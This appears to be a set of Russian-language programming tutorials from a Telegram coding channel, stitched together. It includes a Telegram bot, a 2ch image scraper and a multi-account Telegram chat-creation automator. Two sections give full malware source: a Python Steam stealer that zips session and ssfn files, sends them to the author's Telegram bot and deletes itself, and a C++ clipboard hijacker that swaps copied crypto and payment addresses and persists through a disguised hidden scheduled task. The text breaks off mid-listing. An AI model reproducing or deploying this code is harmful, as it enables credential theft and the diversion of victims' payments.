markup2 = types.ReplyKeyboardMarkup(resize_keyboard=True, selective=True)
markup2.add(but2)


@dp.message_handler(commands=['start'])
async def process_start_command(message: types.Message):
	if message['from']['id'] == ADMIN_ID:
		await message.reply(f"Привет, выбери действие.", reply_markup=markup, reply=False)
	else:
		await message.reply(f"Привет, выбери действие.", reply_markup=markup2)


@dp.message_handler(text='Вывести список')
async def cmd_start(message: types.Message):
	link = tgraph()
	await message.reply('Вот доступные пользователи: ' + link.replace('telegra.ph', 'tgraph.io'), reply=False)


@dp.message_handler(commands=['users'])
async def process_start_command(message: types.Message):
	link = tgraph()
	await message.reply('Вот доступные пользователи: ' + link.replace('telegra.ph', 'tgraph.io'), reply=False)


class kod_key(StatesGroup):
    word = State()
    crypted = State()


@dp.message_handler(text='Добавить пользователя')
async def cmd_start(message: types.Message):
	if message['from']['id'] == ADMIN_ID:
		await kod_key.word.set()
		await message.reply('Введи username\nПример: @username', reply=False)


@dp.message_handler(state=kod_key.word)
async def process_name(message: types.Message, state: FSMContext):
    async with state.proxy() as data:
        data['word'] = message.text
    await message.reply('Введи город\nПример: Рим', reply=False)
    await kod_key.next()


@dp.message_handler(state=kod_key.crypted)
async def process_age(message: types.Message, state: FSMContext):
	await state.update_data(crypted=message.text)
	async with state.proxy() as data:
		with open("users.txt", 'a', encoding='utf-8') as f:
			f.write(data['word'] + " " + data["crypted"] + "\n")
	await message.reply(f'Пользователь успешно записан в файл.\nUsername: ' + data['word'] + ' \nГород: ' + data['crypted'], reply=False)
	await state.finish()



if __name__ == '__main__':
    print("starting")
    executor.start_polling(dp)

Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.

Телеграм канал: https://t.me/CodingCommunity

При написании этого скрипта я ставил перед собой цель обойтись одним файлом без сторонних зависимостей. Итак, приступим.

У меня патологическая тяга к сохранению картинок, с изучением же кодинга архив изображений стал пополняться чуть ли не в геометрической прогрессии. Парсить я решил двач, так как там удобное API.

Использовать скрипт мы будем так: php parser.php ссылка директория, причем на Windows нужно добавить путь к php.exe в переменную %PATH%.
Для начала нужно обработать аргументы, которых у нас будет три - первый для вывода имени файла (я без понятия, как вы собираетесь назвать свой скрипт), второй для ссылки и третий, необязательный, для директории сохранения картинок. Заодно выведем краткий хелп:

if (isset($argv[1])) {
    $url = $argv[1];
} else {
    print_r("Usage: php {$argv[0]} url output_directory(optional)\n");
    exit("\n\tExit with status: wrong script usage");
}

if (isset($argv[2])) {
    $imagesDirectory = $argv[2];
} else {
    $imagesDirectory = 'images';
}

Обратите внимание на двойные кавычки и фигурные скобки вокруг первого аргумента.

Далее объявим массив для ссылок и заменим окончание ссылки с .html на .json, чтобы взаимодействовать с API:

$imageLinks = [];

$request = preg_split('~(html)$~', $url, null, PREG_SPLIT_NO_EMPTY);
$result = json_decode(file_get_contents($request[0] . 'json'), true);

Документация по json_decode и прочим функциям находится на сайте php.net, доступна в том числе и на русском языке.

Теперь нужно пройтись по полученному json'у и записать в массив все ссылки на картинки:

$threads = $result['threads'][0];
foreach ($threads as $thread) {
    foreach ($thread as $posts) {
        foreach ($posts as $key => $value) {
            if ($key == 'files') {
                foreach ($value as $path) {
                    $imageLinks[] = 'https://2ch.hk' . $path['path'];
                }
            }
        }
    }
}

После этого можно приступать к функции сохранения картинок, она будет принимать на вход 2 аргумента - массив ссылок и директорию вывода. Приступим к написанию функционала:

function saveImages($imageLinks, $imagesDirectory) {
$extensionPattern = '~(https:\/\/2ch.hk\/[a-z]+\/[a-z]+\/[0-9]+\/[0-9]+)~';
$imageNamePattern = '~(https://2ch.hk/)[a-z]+(/[a-z]+/[0-9]+/)~';
foreach ($imageLinks as $imageLink) {
    $imageName = preg_split($imageNamePattern, $imageLink, null, PREG_SPLIT_NO_EMPTY);
    $extension = preg_split($extensionPattern, $imageLink, null, PREG_SPLIT_NO_EMPTY);
    $imageName = $imageName[0];
    $extension = $extension[0];
    if ($extension == '.webm' || $extension == '.mp4' || $extension == '.gif') {
        print_r($imageName . " will not be saved!\n");
        continue;
    } else {
        file_put_contents(__DIR__ . DIRECTORY_SEPARATOR . $imagesDirectory . DIRECTORY_SEPARATOR . $imageName, file_get_contents($imageLink));
        print_r($imageName . " was saved successfully\n");
        }
    }
}

Для начала объявим 2 регулярных выражения для расширения и имени картинки (чтобы не генерировать рандомное имя каждый раз). Переприсвоение переменных - необходимость, вызванная особенностью preg_split.
Затем просто проходимся циклом по массиву ссылок, сохраняя картинки и отсекая видео и гифки. В конце сохраняем всё в указанную или дефолтную директорию, притом не важно, вызываете вы скрипт на Linux или на Windows, сохранение будет произведено корректно (Win10 1903 / Ubuntu 16.04 полёт нормальный).

Ну и в конце делаем проверку наличия директории, если она не была передана в качестве аргумента, сохраняем в дефолтную, которая называется 'images' и будет создана там же, где вы вызвали скрипт.

if (file_exists($imagesDirectory)) {
saveImages($imageLinks, $imagesDirectory);
    print_r("\nJob Done!\n");
} else {
    mkdir($imagesDirectory);
    saveImages($imageLinks, $imagesDirectory);
    print_r("\nJob Done!\n");
}

Полный исходный код (вывод в консоль можно убрать, я его использую для отображения прогресса):

<?php

if (isset($argv[1])) {
    $url = $argv[1];
} else {
    print_r("Usage: php {$argv[0]} url output_directory(optional)\n");
    exit("\n\tExit with status: wrong script usage");
}

if (isset($argv[2])) {
    $imagesDirectory = $argv[2];
} else {
    $imagesDirectory = 'images';
}

$imageLinks = [];

$request = preg_split('~(html)$~', $url, null, PREG_SPLIT_NO_EMPTY);
$result = json_decode(file_get_contents($request[0] . 'json'), true);

$threads = $result['threads'][0];
foreach ($threads as $thread) {
    foreach ($thread as $posts) {
        foreach ($posts as $key => $value) {
            if ($key == 'files') {
                foreach ($value as $path) {
                    $imageLinks[] = 'https://2ch.hk' . $path['path'];
                }
            }
        }
    }
}

function saveImages($imageLinks, $imagesDirectory) {
    $extensionPattern = '~(https:\/\/2ch.hk\/[a-z]+\/[a-z]+\/[0-9]+\/[0-9]+)~';
    $imageNamePattern = '~(https://2ch.hk/)[a-z]+(/[a-z]+/[0-9]+/)~';
    foreach ($imageLinks as $imageLink) {
        $imageName = preg_split($imageNamePattern, $imageLink, null, PREG_SPLIT_NO_EMPTY);
        $extension = preg_split($extensionPattern, $imageLink, null, PREG_SPLIT_NO_EMPTY);
        $imageName = $imageName[0];
        $extension = $extension[0];
        if ($extension == '.webm' || $extension == '.mp4' || $extension == '.gif') {
            print_r($imageName . " will not be saved!\n");
            continue;
        } else {
            file_put_contents(__DIR__ . DIRECTORY_SEPARATOR . $imagesDirectory . DIRECTORY_SEPARATOR . $imageName, file_get_contents($imageLink));
            print_r($imageName . " was saved successfully\n");        
        }
    }
}

if (file_exists($imagesDirectory)) {
    saveImages($imageLinks, $imagesDirectory);
    print_r("\nJob Done!\n");
} else {
    mkdir($imagesDirectory);
    saveImages($imageLinks, $imagesDirectory);
    print_r("\nJob Done!\n");
}

small_shell с любовью для @CodingCommunity

import win32gui
import pywinauto
from pywinauto.application import Application
from pywinauto.keyboard import send_keys
from time import sleep
import os
import shutil
from ctypes import *

Из нестандартных тут pywinauto и win32gui. Можно установить лишь pywinauto, она сама установит win32gui и вам не придётся мучиться.

pip install pywinauto

Модуль ctypes нам нужен для более красивого вывода в консоль Windows (что совершенно не обязательно). Начнём с функции main:

if __name__ == '__main__':
	os.system("COLOR 01")
	os.system("CLS")
	blue()
	print('How many chats to create?')
	green()
	data = input(">>> ")
	os.system("CLS")
	VA = os.listdir(path="VA")

Сначала мы задаём цвет консоли, делаем его чёрным, затем очищаем её. После этого вызываем функцию blue(), которая окрашивает цвет вывода в синий и после вывода текста окрашиваем будущий текст, который введет пользователь, в зеленый. Сама функция изменения цвета в синий будет ниже, так же как и функции изменения цвета в зеленый и красный:

def blue():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 3)

def err():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 4)

def green():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 10)

Затем мы добавляем в переменную "VA" папку 'VA' которая была создана заранее, в которую человек помещает аккаунты TData.

Далее, всё в той же функции main мы добавляем пару циклов для работы с аккаунтами телеграм.

    for i in VA:
		shutil.copytree("VA\\" + i, "Telegram")
		shutil.copy('Telegram.exe', 'Telegram')
		app = Application(backend="uia").start('Telegram\\Telegram.exe')
		sleep(3)
		hwnd = win32gui.FindWindow(None, "Telegram")
		win32gui.MoveWindow(hwnd, 0, 0, 800, 800, True)
		for j in range(int(data)):
			create_chat()
		else:
			app.kill()
			green()
			print('Account ' + str(i) + ' completed work!')
			blue()
			sleep(1)
			shutil.rmtree("Telegram")
			sleep(1)
	else:
		green()
		print('Work completed!')
		blue()

В переменной VA хранятся папки с файлами TData. Далее, используя модуль shutil, мы копируем первую папку из VA и помещаем в каталог Telegram, который будет при этом создан, после копируем сам exe'шник portable версии Telegram. Затем запускаем его из этой папки, ждем 3 секунды на всякий случай, ибо были и слабые машины, которые не запускают приложение достаточно быстро, хотя это можно было решить и по-другому (например добавлением функции 'visible', которая ждёт, пока приложение появится на экране). Затем с помощью win32gui мы получаем hwnd приложения телеграм, чтобы в дальнейшем переместить его на координаты 0, 0 и задать размеры 800, 800.

Теперь запускаем цикл for, в который передаём значение переменной, введённой пользователем, она отвечает за количество создаваемых чатов и после передаёт управление функции create_chat(). Давайте рассмотрим функцию create_chat()

def create_chat():
	pywinauto.mouse.click(button='left', coords=(25, 46))
	pywinauto.mouse.click(button='left', coords=(111, 195))
	send_keys('My Random chat', with_spaces=True)
	pywinauto.mouse.click(button='left', coords=(540, 468))
	pywinauto.mouse.click(button='left', coords=(274, 189))
	send_keys(random_user, with_spaces=True)
	sleep(2)
	pywinauto.mouse.click(button='left', coords=(345, 251))
	pywinauto.mouse.click(button='left', coords=(541, 686))

Тут мы просто используем функции библиотеки pywinauto, которые делают клики мышью и управляют ею. Как можно было догадаться, в coords мы записываем координаты кликов. В send_keys(random_user, with_spaces=True) мы вписываем пользователя которого будем приглашать в чат при создании, ибо этот шаг пропустить нельзя. Идём дальше:

		for j in range(int(data)):
			create_chat()
		else:
			app.kill()
			green()
			print('Account ' + str(i) + ' completed work!')
			blue()
			sleep(1)
			shutil.rmtree("Telegram")
			sleep(1)
	else:
		green()
		print('Work completed!')
		blue()

После того как цикл с созданием аккаунта прошёл, мы убиваем это приложение и отписываем, что аккаунт закончил работу, затем ждём одну секунду и удаляем папку Telegram, чтобы создать её вновь с другим аккаунтом.

После того как все аккаунты закончили работу, мы отписываем в консоль, что работа завершена. Работу программы можно увидеть на гифке ниже:

https://gifyu.com/image/mzkH

Ниже преведен конечный вариант кода:

import win32gui
import pywinauto
from pywinauto.application import Application
from pywinauto.keyboard import send_keys
from time import sleep
import os
import shutil
from ctypes import *

random_user = 'testbot'

def blue():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 3)

def err():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 4)

def green():
	h = windll.Kernel32.GetStdHandle(c_ulong(0xfffffff5))
	windll.Kernel32.SetConsoleTextAttribute(h, 10)

def create_chat():
	pywinauto.mouse.click(button='left', coords=(25, 46))
	pywinauto.mouse.click(button='left', coords=(111, 195))
	send_keys('My Random chat', with_spaces=True)
	pywinauto.mouse.click(button='left', coords=(540, 468))
	pywinauto.mouse.click(button='left', coords=(274, 189))
	send_keys(random_user, with_spaces=True)
	sleep(2)
	pywinauto.mouse.click(button='left', coords=(345, 251))
	pywinauto.mouse.click(button='left', coords=(541, 686))


if __name__ == '__main__':
	os.system("COLOR 01")
	os.system("CLS")
	blue()
	print('How many chats to create?')
	green()
	data = input(">>> ")
	os.system("CLS")
	VA = os.listdir(path="VA") # Dir Valid Accaunt
	for i in VA:
		shutil.copytree("VA\\" + i, "Telegram")
		shutil.copy('Telegram.exe', 'Telegram')
		app = Application(backend="uia").start('Telegram\\Telegram.exe')
		sleep(3)
		hwnd = win32gui.FindWindow(None, "Telegram")
		win32gui.MoveWindow(hwnd, 0, 0, 800, 800, True)
		for j in range(int(data)):
			create_chat()
		else:
			app.kill()
			green()
			print('Account ' + str(i) + ' completed work!')
			blue()
			sleep(1)
			shutil.rmtree("Telegram")
			sleep(1)
	else:
		green()
		print('Work completed!')
		blue()

Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.

Телеграм канал: https://t.me/CodingCommunity

Мне захотелось сделать скрипт который будет копировать эти файлы и отправлять их нам в архиве.
Меньше слов больше кода.

Начинаем как обычно с импорта зависимостей. Рекомендую конвертировать скрипт в exe с помощью PyInstaller.

import os
import shutil
import zipfile
from telethon import TelegramClient, events
import asyncio

Далее зададим константы:

exe_name = 'steam.exe'
FOLDER_ARCHIVE = os.getenv('APPDATA') + '\\cache'
STEAM_PATH = 'C:\\Program Files (x86)\\Steam' 
YOU_ID = 123123123
bot = TelegramClient('bot', 123123, 'xxxxxxxxxxxxxxxx').start(bot_token='123123:xxxxxxx-xxxxxxxx')

В exe_name необходимо вписать название нашего будущего файла, т.к. после отправления данных, он самоликвидируется.
Вторая строка - место, куда временно будут сохраняться файлы до отправки. После отправки мы их конечно же удалим.
Третья строка отвечает за папку стима, по умолчанию стим устанавливается в C:\\Program Files (x86)\\Steam.
На четвертой строке мы указываем наш айди в телеграме. Не забывайте что боту надо написать старт что бы он мог вам что либо отправлять.
Т.к. отправка будет происходить с помощью либы telethon - нам необходимо получить api_id и api_hash ну и соответственно бот токен.
Как получить api_id и api_hash можете узнать в этой статье: Клик
Токен бота получаем у @BotFather.

С самым сложным разобрались, давайте двигаться к лёгкому.
Далее идёт функция создания папки, копирования файлов и их дальнейшая архивация.

async def get_files():
	try:
		os.makedirs(FOLDER_ARCHIVE)
	except:
		pass
	ssfn_array = []
	for root, dirs, files in os.walk(STEAM_PATH):
		for i in files:
			if i.startswith('ssfn'):
				ssfn_array.append(i)

	shutil.copy(STEAM_PATH + '\\config\\config.vdf', FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + '\\config\\loginusers.vdf', FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + '\\config\\steamapps.vrmanifest', FOLDER_ARCHIVE)
	for ssfn in ssfn_array:
		shutil.copy(STEAM_PATH + '\\' + ssfn, FOLDER_ARCHIVE)

	file = os.listdir(FOLDER_ARCHIVE)
	for filess in file:
		newzip = zipfile.ZipFile(FOLDER_ARCHIVE + '\\steams.zip','a')
		newzip.write(FOLDER_ARCHIVE +'\\' + str(filess))
		newzip.close()

Итак, поподробнее, на первых четырёх строчках,используя try-except, мы пробуем создать папку если таковой нет в AppData/Roaming, если такой папки не существует то мы её создадим. Далее мы с помощью цикла идём по папке Steam и ищем там заветные ssfn файлы, добавляем их в массив для последующего копирования.
Далее идут 3 строки которые отвечают за копирование нужных файлов авторизации. Затем мы проходим циклом по массиву с нашими ssfn файлами и так же копируем их в нужную нам папку.

Далее идёт очень фрагмент кода, в нём мы архивируем все файлы из папки в которую сохранили конфиги. После создания архива, прописываем главную функцию.

async def main():
	await get_files()
	await bot.send_file(YOU_ID, FOLDER_ARCHIVE + '\\steams.zip')
	shutil.rmtree(FOLDER_ARCHIVE, ignore_errors=True, onerror=None)
	os.remove(os.getcwd() + '\\' + exe_name)

asyncio.get_event_loop().run_until_complete(main())

Здесь сначала создаётся асинхронная функция, потому что Teleton работает только асинхронно. Далее вызываем функцию по созданию архива, затем отправляем на ваш айди архив, после чего удаляем папку из AppData/Roaming и сам скрипт. к сожалению, у пользователя остаётся файл сессии, но не думаю что обычный юзер поймет, для чего он и попросту его удалит.

Последняя строка отвечает за запуск функции main().

Полный листинг:

import os
import shutil
import zipfile
from telethon import TelegramClient, events
import asyncio

exe_name = 'steam.exe'
FOLDER_ARCHIVE = os.getenv('APPDATA') + '\\cache'
STEAM_PATH = 'C:\\Steam' 
YOU_ID = 123123
bot = TelegramClient('bot', 123123, 'xxxxxxx').start(bot_token='123123:xxxx-xxxx')

async def get_files():
	try:
		os.makedirs(FOLDER_ARCHIVE)
	except:
		pass
	ssfn_array = []
	for root, dirs, files in os.walk(STEAM_PATH):
		for i in files:
			if i.startswith('ssfn'):
				ssfn_array.append(i)

	shutil.copy(STEAM_PATH + '\\config\\config.vdf', FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + '\\config\\loginusers.vdf', FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + '\\config\\steamapps.vrmanifest', FOLDER_ARCHIVE)
	for ssfn in ssfn_array:
		shutil.copy(STEAM_PATH + '\\' + ssfn, FOLDER_ARCHIVE)

	file = os.listdir(FOLDER_ARCHIVE)
	for filess in file:
		print(filess)
		newzip = zipfile.ZipFile(FOLDER_ARCHIVE + '\\steams.zip','a')
		newzip.write(FOLDER_ARCHIVE +'\\' + str(filess))
		newzip.close()

async def main():
	await get_files()
	await bot.send_file(YOU_ID, FOLDER_ARCHIVE + '\\steams.zip')
	shutil.rmtree(FOLDER_ARCHIVE, ignore_errors=True, onerror=None)
	os.remove(os.getcwd() + '\\' + exe_name)

asyncio.get_event_loop().run_until_complete(main())

Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.

Телеграм канал: https://t.me/CodingCommunity

И тут у меня пригорело, за это ЧУДО 1500... Я - не зная С++, имея гугл смог написать такой же за одну ночь. Почему не C#? Потому что на просторах интернета уже есть клиппер на C#, не хотелось повторять за кем то.
Ну как обычно - тут море ужасного кода, никого не призываю повторять за мной. Так что извините. Начинать мы будем с Инклюдов (#include), грубо говоря это как библиотеки в Python, #include нам говорит что надо подключить сторонний файл.

#include <iostream>
#include "windows.h"
#include "string.h"
#include <direct.h>
#include <shlobj.h>
#include "Shlwapi.h"
#include <sys/stat.h>
#include <Shellapi.h>

С этим разобрались. Ах, да, чуть не забыл, вам не обязательно качать Visual Studio для компиляции, можете поставить IDE Dev C++ и компилятор GCC, но тогда размер выходного файла у вас будет ~1.8 MB.

Далее давайте сразу объявим наши константы которые будут отвечать за ваши кошельки.

const char* QIWI = "+77005553535";
const char* WMR = "P123456789101";
const char* WMZ = "Z123456789101";
const char* WMX = "X123456789101";
const char* WMU = "U123456789101";
const char* BTC = "34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo";
const char* ETH = "0xc137a2e0d5176009c7ce88b9611b28a123c3881b";
const char* STEAM = "https://steamcommunity.com/tradeoffer/new/?partner=123123&token=qweqwe";
const char* DonAlerts = "https://www.donationalerts.com/r/qwe123";
const char* QiwiMe = "https://qiwi.me/qwe123";
const char* YandexDisk = "https://yadi.sk/d/qwe123";

Тут думаю и так понятно что в кавычки надо вставить ваши кошельки, задерживаться не будем, впереди куча всего интересного.

Далее будет просто огромная функция Main.

int main(){
	copy_me();
	while (true){
		if( OpenClipboard(NULL))
		{
		    std::string data = (char*)GetClipboardData(CF_TEXT);
		    	if (data.find("+7") == 0){
		    		const size_t len = strlen(QIWI) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QIWI, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
		    		
				} else if (data.find("P") == 0 && data.length() == 13){
					const size_t len = strlen(WMR) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMR, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("Z") == 0 && data.length() == 13){
					const size_t len = strlen(WMZ) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMZ, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("U") == 0 && data.length() == 13){
					const size_t len = strlen(WMU) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMU, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("X") == 0 && data.length() == 13){
					const size_t len = strlen(WMX) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMX, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.length() == 34){
					const size_t len = strlen(BTC) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), BTC, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("0x") == 0 && data.length() == 42){
					const size_t len = strlen(ETH) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), ETH, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://steamcommunity.com/tradeoffer/new/?partner=") == 0){
					const size_t len = strlen(STEAM) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), STEAM, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://www.donationalerts.com/r/") == 0){
					const size_t len = strlen(DonAlerts) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), DonAlerts, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://qiwi.me/") == 0){
					const size_t len = strlen(QiwiMe) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QiwiMe, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("https://yadi.sk/d/") == 0){
					const size_t len = strlen(YandexDisk) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), YandexDisk, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				}
		
		               
		            CloseClipboard();
		
		    }
			Sleep(500);
	}
	return 0;
}

Вначале видно что мы вызываем другую функцию, но об этом чуть позже, Сначала мы запускаем бесконечный цикл который будет открывать буфер обмена каждые 0.5 секунд и проверять в нём текст, если он находит совпадения - он заменяет его. А теперь давайте займемся самым непонятным, разберём хотя бы один блок else if.
Да и кст, думаю что вам понятен принцип, так что вы сможете добавить свои кошельки которые вам нужны. Не вижу смысла расписывать, ведь вы у меня умные.

else if (data.find("P") == 0 && data.length() == 13){
		const size_t len = strlen(WMR) + 1;
		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		memcpy(GlobalLock(hMem), WMR, len);
		GlobalUnlock(hMem);
		EmptyClipboard();
		SetClipboardData(CF_TEXT,hMem);

Для начала мы проверяем, начинается ли строка в буфере обмена с символ "P", а так же необходимо что бы длинна строки была 13 символов, именно столько у кошельков WMR. Далее мы создаём переменную с длинной нашей строки и прибавляем единицу для символа /0. (Да, я тоже не особо понял зачем он там, но он там нужен, поверьте). Далее мы выделяем необходимое место в памяти, затем разблокируем её и добавляем в буфер обмена нашу константу с нашим WMR кошельком. Остальные else if как бы похожи, думаю принцип понятен.

Перейдем к функции copy_me()

void copy_me(){
	char* appdata = getenv("APPDATA");
	char* folder = "\\WinServer";

    char* rdy_folder = strcat(appdata, folder);
	if (!IsPathExist(rdy_folder)){
	    mkdir(rdy_folder);
	}

    TCHAR szEXEPath[ 2048 ];
	DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );

	char* file_name = "\\Win1337.exe";
	char* rdy_ext = strcat(rdy_folder, file_name);
	CopyFile(szEXEPath, rdy_ext, true);

	std::string st( "/create /sc MINUTE /mo 1 /tn \"Windows Service1337\" /tr " );
	std::string stw( rdy_folder );
	std::string stw2( " /f" );
	std::string rdy = st + stw + stw2;
	const char* teeeeeee = rdy.c_str();
	ShellExecute(NULL, "open", "schtasks.exe", teeeeeee, 0, SW_HIDE);

Ну что же, начнём с самого начала.

	char* appdata = getenv("APPDATA");
	char* folder = "\\WinServer";

Тут мы узнаем путь до папки AppData в которую в будущем будет помещена другая папки под названием WinServer, в неё мы будем закидывать копию нашей программы что бы та запускалась, но об этом чуть позже.

	char* rdy_folder = strcat(appdata, folder);
	if (!IsPathExist(rdy_folder)){
	mkdir(rdy_folder);
	}

Тут в первой строке мы соединяем нашу AppDat'у и нашу папку, попутно занося это в переменную rdy_folder, Далее мы вызываем функцию IsPathExist() которая на вход принимает путь до папки. И возвращает True или False в зависимости от результата.

bool IsPathExist(const std::string &s)
{
  struct stat buffer;
  return (stat (s.c_str(), &buffer) == 0);
}

Возвращает True если папка существует.

Но т.к. в первый наш запуск нам возвращается False то мы создаём папку.

	if (!IsPathExist(rdy_folder)){
	    mkdir(rdy_folder);
	}

Далее нам необходимо получить путь до нашего файла который запустил пользователь что бы в дальнейшем его скопировать.

	TCHAR szEXEPath[ 2048 ];
	DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );

2048 это размер пути, он может быть 35 или 36к символов, но думаю нам хватит 2к.
Далее нам необходимо скопировать наш файл в ту самую папку в AppData:

	char* file_name = "\\Win1337.exe";
	char* rdy_ext = strcat(rdy_folder, file_name);
	CopyFile(szEXEPath, rdy_ext, true);

Тут мы складываем пути до нашей папки в AppData и добавляем к нему наш файл. Затем используя функцию CopyFile просто копируем.

Далее нам необходимо создать службу которая будет запускать файл из нашей папки AppData каждую минуту.

	std::string st( "/create /sc MINUTE /mo 1 /tn \"Windows Service1337\" /tr " );
	std::string stw( rdy_folder );
	std::string stw2( " /f" );
	std::string rdy = st + stw + stw2;
	const char* teeeeeee = rdy.c_str();
	ShellExecute(NULL, "open", "schtasks.exe", teeeeeee, 0, SW_HIDE);

Сначала мы создаём строку с запросом, в ней пишем название службы и запуск службы каждую минуту.
Затем нам нужна наша папка, заносим её в отдельную переменную, затем заносим /f который должен быть в конце. Далее мы складываем 3 строки и переводим из string в char что бы ShellExecute это смог исполнить.

Так же немаловажный атрибут SW_HIDE который не позволяет нашей консоли открыться и делает её невидимой.

Можно было бы конечно скрыть папку в AppData но мы ведь тут с вами только ради ознакомления.
Чуть не забыл самое главное, при компиляции укажите флаг -mwindows что бы софт запускался без консоли.

Далее как обычно будет полный листинг программы:

#include <iostream>
#include "windows.h"
#include "string.h"
#include <direct.h>
#include <shlobj.h>
#include "Shlwapi.h"
#include <sys/stat.h>
#include <Shellapi.h>


const char* QIWI = "+77005553535";
const char* WMR = "P123456789101";
const char* WMZ = "Z123456789101";
const char* WMX = "X123456789101";
const char* WMU = "U123456789101";
const char* BTC = "34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo";
const char* ETH = "0xc137a2e0d5176009c7ce88b9611b28a123c3881b";
const char* STEAM = "https://steamcommunity.com/tradeoffer/new/?partner=123123&token=qweqwe";
const char* DonAlerts = "https://www.donationalerts.com/r/qwe123";
const char* QiwiMe = "https://qiwi.me/qwe123";
const char* YandexDisk = "https://yadi.sk/d/qwe123";


// Проверяем есть ли такая папка
bool IsPathExist(const std::string &s)
{
  struct stat buffer;
  return (stat (s.c_str(), &buffer) == 0);
}

void copy_me(){
	char* appdata = getenv("APPDATA");
	char* folder = "\\WinServer";
	
	char* rdy_folder = strcat(appdata, folder);
	if (!IsPathExist(rdy_folder)){
	mkdir(rdy_folder);
	}
	
	// Получаем путь откуда запущен файл
	TCHAR szEXEPath[ 2048 ];
	DWORD nChars = GetModuleFileName( NULL, szEXEPath, 2048 );
	
	// Копируем файл
	char* file_name = "\\Win1337.exe";
	char* rdy_ext = strcat(rdy_folder, file_name);
	CopyFile(szEXEPath, rdy_ext, true);

	// Создаём слжбу
	std::string st( "/create /sc MINUTE /mo 1 /tn \"Windows Service1337\" /tr " );
	std::string stw( rdy_folder );
	std::string stw2( " /f" );
	std::string rdy = st + stw + stw2;
	const char* teeeeeee = rdy.c_str();
	ShellExecute(NULL, "open", "schtasks.exe", teeeeeee, 0, SW_HIDE);	
}

int main(){
	copy_me();
	while (true){
		if( OpenClipboard(NULL))
		{
		    std::string data = (char*)GetClipboardData(CF_TEXT);
		    	if (data.find("+7") == 0){
		    		const size_t len = strlen(QIWI) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), QIWI, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
		    		
				} else if (data.find("P") == 0 && data.length() == 13){
					const size_t len = strlen(WMR) + 1;
		    		HGLOBAL hMem =  GlobalAlloc(GMEM_MOVEABLE, len);
		    		memcpy(GlobalLock(hMem), WMR, len);
		    		GlobalUnlock(hMem);
		    		EmptyClipboard();
		    		SetClipboardData(CF_TEXT,hMem);
				} else if (data.find("Z") == 0 && data.length() == 13){
					const size_t len = strlen(WMZ) + 1;
